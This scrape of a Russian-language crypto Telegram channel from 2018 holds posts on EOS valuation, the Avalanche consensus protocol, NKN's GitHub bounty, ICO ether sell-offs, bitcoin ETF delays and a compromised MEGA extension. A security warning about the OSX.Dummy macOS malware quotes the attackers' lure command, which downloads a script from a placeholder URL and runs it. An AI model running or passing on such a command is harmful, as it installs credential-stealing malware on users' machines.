Mia Coins
1.34K subscribers
52 photos
179 links
looks rare

Я ничего не рекламирую, это всё Паша!

В крипте рекчусь вместе с вами с 2017
Download Telegram
to view and join the conversation
После (почти)года терзаний и невыносимых мук для инвесторов:

http://betanet.tzscan.io/
Есть вероятность, что Сатоши Накамото снова дал знать о себе(?) http://nakamotofamilyfoundation.org/
​​OSX.Dummy - "тупая" атака на криптохомяка

Обнаружен новый вид атаки на имеющих отношение к крипте MacOS-пользователей через слак-дискорд чаты:
https://cointelegraph.com/news/dumb-macos-malware-attacks-slack-discord-users-discussing-crypto

TL;DR Remco Verhoef опубликовал информацию о распространении malware 30 июня в блог-посте

Атакующие выдают себя за трастовых людей или же админов каналов/чатов, и высылают сообщения (см скрин) участникам крипто-коммунити с просьбой выполнить скрипт, чтобы проверить доступность порта, который скачивает и запускает бинарник и ворует пароли пользователей.

cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

Атака хоть на данный момент и является очень примитивной, но автор полагает, что станет вполне себе хитрее со временем, так что будьте аккуратнее.
Почему EOS стоит 4 миллиарда?

Вокруг EOS в очередной раз развернулась занятная дискуссия на Blockchain Beach Panel HD, главным вопросом, который задал Richard Burton, основатель Balance.io, был - "Почему EOS стоит 4 миллиарда, не имея ни работающего кошелька, ни нормального интерфейса для голосований?"

И, самое интересное, что никто на дискуссии почему-то не смог дать хм... адекватного ответа в защиту EOS. Всё очень размыто и по-прежнему все весомые аргументы в пользу еоса больше про "всё будет, но пока рано". Основной посыл Ричарда Бартона был здесь в том, что работая с такими проектами как Ethereum и Stripe, он был восхищен способностью их создателей и команд превращать капитал в код, создавая при этом ценность для коммунити и это - есть та самая метрика, по которой он оценивает любой проект.

Самый сок диалога тезисно и очень вольно (извините, подготовить более толковый пересказ сейчас не хватит времени, но тем не менее поделюсь, так как дискуссия очень интересная, кстати, рекомендую к просмотру):
- Block.one собрали деньги и то, что они пилят станет настоящим "даром для мира", просто сейчас рассуждать на эту тему еще рано (мне вот здесь очень понравилось про волшебный дар для мира, но ладно - прим. Mia)
- Но они собирали деньги год и их единственным желанием было выжать из системы столько денег, сколько это возможно
- Они могли бы не собрать ничего, если бы никто не стал покупать токены, мы не можем этого знать заранее
- То есть они могли остановить продажу, как только соберут 100 миллионов к примеру, но они этого не сделали. Кроме того, катастрофически хреновый запуск этого проекта показал, что у него абсолютно нулевая культура.
- А в чём прикол Эфира? По сути это платформа для ICO с двумя крутыми дапсами в виде Криптокотиков и IDEX?
- Все путают понятия стоимости и ценности. Мы имеем два примера двух потрясающих протоколов - ETH и BTC, в первом случае эфир собрал 17 миллионов и его стоимость сейчас обусловлена рыночным поведением, то есть спросом и предложением, итого это проект с высокой стоимостью и пока ограниченной, но медленно растущей ценностью. В случае с биткойном же, коммунити не имело абсолютно ничего, это по сути была энергия, софт и вера людей. То есть, подводя итог, мы имеем уже два доказательства того, что вы можете стартануть протокол с абсолютного нуля или же вы можете стартануть с нескольких миллионов, постепенно наращивая стоимость. А также, теперь мы имеем пруф, что вы можете собрать немыслимо много, но взамен не дать ничего.
- Далее следуют рассуждения на тему, что на данный момент все проекты на айсио собирают огромные суммы и мы должны задать себе вопрос: "А зачем им столько? А стоит ли мне кидать в это деньги?". Также ситуация с еос показательна, так как это бесценный опыт для коммунити, что, возможно, необходимо даже чуть регуляций. Ну и в целом коммунити необходимо становиться умнее.

Ну и закончу это всё небольшой перепалкой из твиттера уже после дискуссии, когда Ben Sigman (активно защищающий еос в ходе дискуссии),
твитнул:

"Я верю в свободу. Я считаю потрясающим тот факт, что Block.One могут делать с 4 миллиардами всё, что захотят и я буду очень рад увидеть, что же они сделают с этой суммой" (лол, как и мы все, - прим. Mia)

Ответ Richard Burton на этот твит был таким:

"Это очень странный аргумент, посколько до сих пор EOS использовали свою свободу для обмана людей. Они играли на жажде людей не упустить выгоду и охотились за каждой эфиркой. Я могу сказать следующее: будьте более проницательны."

Здесь я, пожалуй, подпишусь под каждым словом, хотя конечно буду надеяться на лучший исход и для компании Block.One и для всей экосистемы блокчейн проектов в целом.
К вопросу выше о том, что да, надо иногда подумать: "А стоит ли кидать в проект на этапе ICO?", хороший свежий пост от @andrecronje (это тот самый, многим уже известный чувак, который выкладывает разбор кода различных айсио на сайте https://cryptobriefing.com/code-reviews/), о том, что тенденции у проектов сейчас такие, что зачастую анализировать-то нечего. Empty github - репозиторий на гитхаб пуст, No github - нет доступа к коду, то есть либо разработка по сути отсутствует, либо не разглашается.
Forwarded from Andre Cronje
I think a trend is emerging.

Origo Network - Empty github
ioex - No github
Newton Project - No github
Drep - No github
Bolt - No github
DeepCloud AI - Empty github
Blackbox Network - Empty github
Orca - No github
Ncent - No github
Uncloak - No github
Taxa - No github
Hypernet - No github
Xain - No github
Elrond - No github
Toda Network - No github
Beyond Protocol - No github
Investre - No github
Chain of Things - Empty github
Hadron - No github
Marconi - No github
Jura - No github
Lambda - No github
Jupiter Chain - No github
MultiVAC - Empty github
Sparkster - No github
Liquidity Network - Empty github
Quadrant Protocol - No github

Nervos - Nothing to review
Thunder Token - Nothing to review
Alza - Nothing to review
Foam Space - Nothing to review
Ferrum Network - Nothing to review
Keep Network - Nothing to review
​​Аваланч для чайников

«У меня есть новая революционная технология, о которой я хочу вам рассказать»
Emin Gün Sirer

Итак, еще совсем недавно профессор Корнельского университета, Эмин Гюн Сирер, представил на всеобщее обозрение абсолютно новый алгоритм консенсуса, Avalanche, который произвел много шума в академических и не очень кругах. Сегодня я хочу поделиться переводом статьи от Mohammed ElSeidy, которая помогает разобраться, что же такого инновационного предложил Эмин и почему все с ума посходили от пресловутого #perlin (это ICO, команда которого под шумок воспользовалась хайпом и решила имплементировать в свою разработку собственно аваланч)

Сперва коротенький конспект:
Avalanche является новым протоколом, который появился лишь несколько месяцев назад. Он отличается от двух основных видов протоколов консенсуса (классический протокол консенсуса, разработанный Лэмпортом и Лисков, и протокол консенсуса Накамото). Avalanche сочетает в себе лучшее из двух систем и предлагает быстрое завершение операций и короткое время ожидания, высокую пропускную способность, надежность и низкое потребление энергии.

Основополагающей идеей Avalanche является метастабильность. Система всегда будет склоняться к одному решению. Это реализовано через выборочную систему голосования. Голосование совершается в несколько раундов, в течение которых система неминуемо приходит к единому решению. Протокол не имеет высокой нагрузки на сеть, устойчив к проблеме византийских генералов, основан на принципах равенства (у всех участников равные привилегии) и имеет эффективную защиту от двойного расходования. Управление самой сетью осуществляется путем применения механизма доли владения токенами системы AVA. Это же позволяет избежать атак Сивиллы.

Полный перевод статьи читайте здесь: https://staging.busy.org/@miacoins/perevod-i-konspekt-avalanch-dlya-chainikov

Ссылка на оригинальную статью на английском: https://medium.com/zkcapital/demystifying-snowflake-to-avalanche-966f56c33fd7
Breaking: Coinbase изучает новые монетки для добавления: Cardano, Basic Attention Token, Stellar Lumens, Zcash, 0x (листинги не гарантируют, но они возможны): https://blog.coinbase.com/9e44f0eb823f
Аваланч и шум вокруг

Вот так, не успеет новый алгоритм консенсуса появиться, как сразу же возникают люди, которые хотят присвоить себе авторство или же хоть как-то пригреться от шума вокруг нового научного прорыва. Как мы знали до сегодняшнего времени, белую бумагу "Snowflake to Avalanche", разместила 16 мая 2018 года, на децентрализованном обменнике ipfs, команда, которая предпочла остаться анонимной, назвавшись Team Rocket. Эту же бумагу представил впервые профессор Корнельского университета - Emin Gün Sirer. На этом Эмин не остановился и продолжил презентовать на различных конференциях и в подкастах данный протокол и даже(по слухам) занялся сам его имплементацией. Для тех, кто только проснулся и не очень понимает, о чём я говорю, пройдитесь постом выше, я как раз на днях выкладывала перевод статьи, которая рассказывает о новом алго достаточно подробно и без сложных математических деталей.

Так о шуме. Пару дней назад, Core Researcher компании NKN, Justin Wang, заявил у себя в твиттере, что аваланч по существу является абсолютно той же концепцией, что и, собственно, NKN. Удивительно, не правда ли?
Профессор Эмин Гюн Сирер попросил Джастина дать линк на место в их бумаге, где описываются сам консенсус протокол и доказательства его корректности, на что в ответ получил от Джастина линк на бумагу. Здесь, Эмин, довольно резко высказался, что он уже читал белую бумагу NKN и не увидел там ни спецификаций ни доказательств корректности протокола, а также, позволил себе заметить, что всегда, когда публикуется что-то столь грандиозное, как открытие типа Аваланч, вокруг неизменно появляются люди, пытающиеся оспорить авторство, что лишь доказывает важность открытия. Можно сказать, что данная беседа на том и закончилась, но позже Justin Wang, опубликовал твит с гифкой, которая наглядно демонстрирует работу консенсус-алго NKN.

Итого, мы имеем как минимум три команды, занятые имплементацией аваланч(или же, вероятно, схожего алго, как в случае NKN): команда Emin Gün Sirer, команда Perlin, и, вероятно NKN, если они в действительности параллельно с командой Team Rocket, в то же самое время, разрабатывали схожий алгоритм консенсуса, что тоже остаётся возможным.

Чтож, можно предположить вероятные стычки в академических и ICO-кругах, так как уже довольно очевидно, что всё обстоит не очень-то мирно, между желающими довести имплементацию до ума. А сколько еще возможных "создателей" или просто желающих имплементировать аваланч в свои наработки будет - не известно никому. Будем следить и надеяться, что победит сильнейшая в техническом плане разработка. А пока запасёмся🍿
​​Как фейкнуть активность на своём гитхабе?

Эту непосильную задачу сегодня почти решили ребята из NKN Какому-то гению маркетинга из их команды пришла в голову грандиозная идея создать искусственный интерес вокруг своего гитхаба посредством баунти.

"Как вы знаете, основной исходный код NKN открыт для общественности, а превью тестнета работает уже более месяца. Чтобы побудить больше разработчиков изучать и вносить свой вклад в наш проект, а также создавать новые приложения на платформе NKN, мы добавили систему вознаграждения для форков и просмотра репозитория NKN на github. Вы можете выиграть 200 очков, если форкните и добавите в избранное репозиторий NKN."
(там еще дальше шикарный гайд, как регнуться на гитхабе, и даже как форкнуть и отметить звёздочкой, посмотрите, это бесподобно)

Действительно, а чего бы и нет? Но вот только баунти прожила недолго, видимо кто-то из коммунити им вежливо намекнул (хорошо еще вовремя), что это несколько не этично. Статью про баунти с medium удалили, по прямой ссылке заходить нет смысла, а вот гугл помнит всё

Хотя, конечно, на этом рынке не удивительно уже вообще ничего, манипулировать можно чем угодно, почему бы не сделать вид, что ваш гитхаб активно посещается коммунити и они все до одного очень рады участвовать в процессе разработки вашего проекта? В общем, я аплодирую стоя.
​​Жадные здесь только вы, ребятки

Опять возвращаясь к теме, что рынок ICO превратился в какой-то фарс, эту тему затрагивали и на Blockchain Beach Panel HD, о которой я писала в посте https://t.me/miacoins/161 и много где сейчас активно обсуждают.

Классный диалог вчера был в дискорде у проекта Perlin, который закончился фразой, достойной мема, и кстати она была произнесена ни кем-нибудь, а Dorjee, который является сооснователем проекта. Если кратко, то в дискорде инвесторы обоснованно беспокоятся из-за ужасающих метрик. Прямого ответа по поводу паблик-сейла, как и цены токенов пока нет, что пока может означать, что все приватные пулы, которые зашли в Perlin окажутся не в самом выгодном положении, если не сказать хуже... Но суть этого поста в другом, итак, про мем:

"Жадные здесь только вы, ребятки, кто ни черта не делает, зато без конца ноют, что не получат свои x5"

Dorjee очевидно достало навязчивое беспокойство людей, ведь ему нужно работать, не общаться же в дискорде с неудачниками, которые уже принесли денег в проект и теперь только и делают, что достают его идиотскими вопросами.
​​ETF и биткойн, как всё будет: разъяснения от юриста

В связи с тем, что сегодня много шума вокруг отложенного решения SEC по поводу ETF, я решила сделать небольшой рисерч на эту тему, а также перевести и опубликовать самое на мой взгляд исчерпывающее и адекватное объяснение от юриста, занимающегося судебными разбирательствами по ценным бумагам, Jake Chervinsky по поводу того, что же может происходить и вероятно будет происходить с ETF на биткойн.

Сперва ловите краткий FAQ от меня для полного понимания, что именно происходит:
1) 26 июня 2018 года была подана заявка на bitcoin ETF от CBOE в партнёрстве с компаниями SolidX и VanEck.
2) Что произошло сегодня? Сегодня на coindesk и других крупных порталах появились кричащие заголовки о том, что SEC отложили принятие решения по поводу bitcoin ETF.
3) Что произошло на самом деле, но подробнее: да, все ждут одобрение заявки на bitcoin ETF, но именно заявки от CBOE, а отложили принятие решения по поводу заявки от Direxion (которая была подана еще 21 января 2018 года).

А теперь давайте перейдём к резюме поста Jake Chervinsky:
- SEC может по закону тянуть с решением по ETF 240 дней и вероятно они воспользуются каждым из них.
- SEC может и вероятно будет тянуть с решением по поводу запроса на ETF от VanEck/SolidX до (внимание!) 21 февраля 2019 года.

Ниже по ссылке будет мой перевод полного текста, рекомендую почитать и сразу оговорюсь: да, всё конечно может случиться раньше, но фишка в том, что не всё так просто, как хотелось бы и конечно классно верить, что всё "сейчас совсем по-другому!", уже "запустили фьючи на биточек и нас точно ждёт скорый апрув ETF!" - в теории эти заявления работают, но нет, для SEC они абсолютно не интересны, просто потому что у них просто нет веских причин для срочного апрува или отклонения и они, разумеется, вероятнее всего, используют все возможные сроки, положенные им по закону для принятия этого довольно важного решения.

Ссылка на мой полный перевод постов от Джейка: https://staging.busy.org/@miacoins/rus-perevod-etf-i-bitkoin-kak-vsyo-budet-razyasneniya-ot-yurista
​​Скоро будем (или может лучше не будем?) проходить KYC прямо в телеграм

Многие давно ванговали запуск такой штуки и вот...
Телеграм официально запустили Telegram Passport, уже можно даже потестить с популярным платежным сервисом ePayments.com, где, как многие знают, требуется пройти верификацию.

Стоит ли отправлять данные сейчас? Тут хз, с одной стороны пока данные будут передаваться по End-to-End шифрованию в облако телеги, то есть где-то там будут лежать как "какие-то" документы, доступные сотрудникам телеграм в виде смешанных файлов, с другой стороны в дальнейшем нам обещают переместить всё это добро на децентрализованное облачное хранилище. Поживём - увидим. Но событие несомненно очень важное и интересное в первую очередь для криптокоммунити.

https://telegram.org/blog/passport
Всё идёт по плану, перенесли ETF от СВОЕ: https://www.sec.gov/rules/sro/cboebzx/2018/34-83792.pdf, подробнее о расписании было тут: https://t.me/miacoins/171
​​ICO = ETH killer?

ICOшники слили более 100k эфира за последние 30 дней по данным сервиса Santiment. Похоже, что не EOS убийца эфира, который дампит его курс короны ради, вернее не только лишь он. Истинные дамперы-убийцы курса скрываются за единственным на данный момент наиболее успешным юзкейсом ETH - ICO. Вполне логично к слову, что именно то, за счёт чего ETH так стремительно рос всё время с момента зарождения ICO-хайпа, в тёмные времена ощутимо влияет также и на его падение. Всё циклично. Дальше больше?

"Провёл утро с одним ICO-проектом(название не разглашается), они собрали 30 миллионов долларов, затем подросли, когда эфир стоил 1200$. А тут они запаниковали и продали эфир ночью - осталось-то всего 4 миллиона долларов." - твитнул на днях Ran NeuNer, менеджер крипто-фонда

Мораль: для тех, кто здесь не только ради бабла, это всё лишь временно, но зато можно сейчас палить тех, кто отчаянно паникует и вероятнее всего не задержится надолго. Спасибо Сантименту.

Да лан, на самом деле ребятам просто нужно было денег вывести на ламбо, ну чего я в самом деле, тут такой рынок, что ничего ж не растёт за просто так, а зп сотрудникам и маркетологам само себя не заплатит...

Статью с небольшой выборкой проектов, стремительно бегущих с корабля, можно глянуть здесь: https://www.trustnodes.com/2018/08/11/icos-sold-nearly-100000-eth-past-30-days
Ну а проводить собственный анализ конечно же можно и нужно тут: https://sanbase-low.santiment.net/projects
​​KuCoin, ты как?

По поводу биржи KuCoin что-то в последнее время много FUDа, сперва появились какие-то мутноватые новости по поводу того, что гонконгский офис кукойн пуст, но на это биржа оперативно выпустила отчётик о том, что мол с офисом всё ок и вообще-то KuCoin интернациональная фирма и офисы просто расположены в разных локациях, основная же работа кипит в головном офисе в Сингапуре. Дальше были слухи, что в отчёте тоже не всё взаправду, но на этом я не буду заострять внимание, так как такого рода информацию очень сложно проверить, не будучи сотрудником биржи.

Всё бы может и ничего, но смущает меня больше вот эта аналитика от команды CER(Hacken), согласно которой с безопасностью у кукойнов не всё так хорошо как бы нам хотелось, для быстрого понимания смотрите прикрепленный скрин из статьи, для подробного изучения читайте их отчёт.

https://blog.cryptoexchangeranks.com/platform-reviews/cyber-security-score-review/

Я не буду здесь делать никаких выводов, итак понятно, в общем будьте аккуратней.
Расширение MEGA для Chrome ворует логины и пароли

Официальное расширение популярного файлового обменника MEGA для браузера Chrome было скомпрометировано, если вы его используете, то следует его немедленно удалить и переместить средства с вероятных скомпрометированных кошельков с криптой, а также сменить пароли, где требуется.

Расширение на данный момент умеет воровать логины и пароли популярных вебсайтов и сервисов таких как:
- Google
- Facebook
- MyEtherWallet
- MyMonero
- GitHub
- Microsoft Live/OneDrive

источник: https://www.reddit.com/r/CryptoCurrency/comments/9cy4e4/the_mega_chrome_extension_has_been_compromised/

К слову, это всего лишь один из вариантов таких расширений, сколько их еще скомпрометировано на данный момент и будет - не известно.
Думаю нет смысла напоминать, что находясь в крипто сфере лучше не "хранить" ненужные вам и неиспользуемые расширения, да и устанавливать только реально необходимые и проверенные, а лучше вообще перейти на Brave.

#BeSafe
​​Хотите узнать рейтинги ваших шиткойнов? Вам на бинанс!

https://info.binance.com/en/rate/list

Binance тут на днях оказывается выкатили Binance Info 2.0. В сотрудничестве с ICOBench, ICOcrunch и другими славнымии ребятами, запилили рейтинговую систему, где теперь у каждого койна есть свой рейтинг, да-да, всё по-взрослому: A, B, C, D-рейтинговая система, также прилагается репорт от различных рейтинговых агенств, а бинанс тут выступает агрегатором этих всех оценок и выдает нам долгожданный финальный рейтинг всех-всех наших упавших на дно дна айсиох.

Круто как, теперь проекты смогут платить не только за листинги, но и даже фиксить рейтинги и репорты про собственные продукты. Хороший, а главное, новый дополнительный способ монетизации. Браво, Бинанс :)

https://medium.com/binanceexchange/announcing-binance-info-2-0-2ea4a922050b
Всё самое важное в одном посте. Список для чтения.

Чтобы не приходилось искать, отвожу в отдельный пост для закрепа полный список переведенных мною на русский язык материалов, который буду дополнять и редактировать.

Также эта публикация будет дополняться списками полезных ресурсов и статей на английском языке для полного погружения в фундаментал и самостоятельный рисерч.

Пока рынок в упадке, я думаю, что эта инфа может быть актуальна и очень полезна для тех, кому интересен мир блокчейна и конечно для тех, кто здесь надолго и хочет изучить мат часть и разобраться в основах и деталях.

Читать: https://telegra.ph/miacoins-09-25
Mia Coins pinned «Всё самое важное в одном посте. Список для чтения. Чтобы не приходилось искать, отвожу в отдельный пост для закрепа полный список переведенных мною на русский язык материалов, который буду дополнять и редактировать. Также эта публикация будет дополняться…»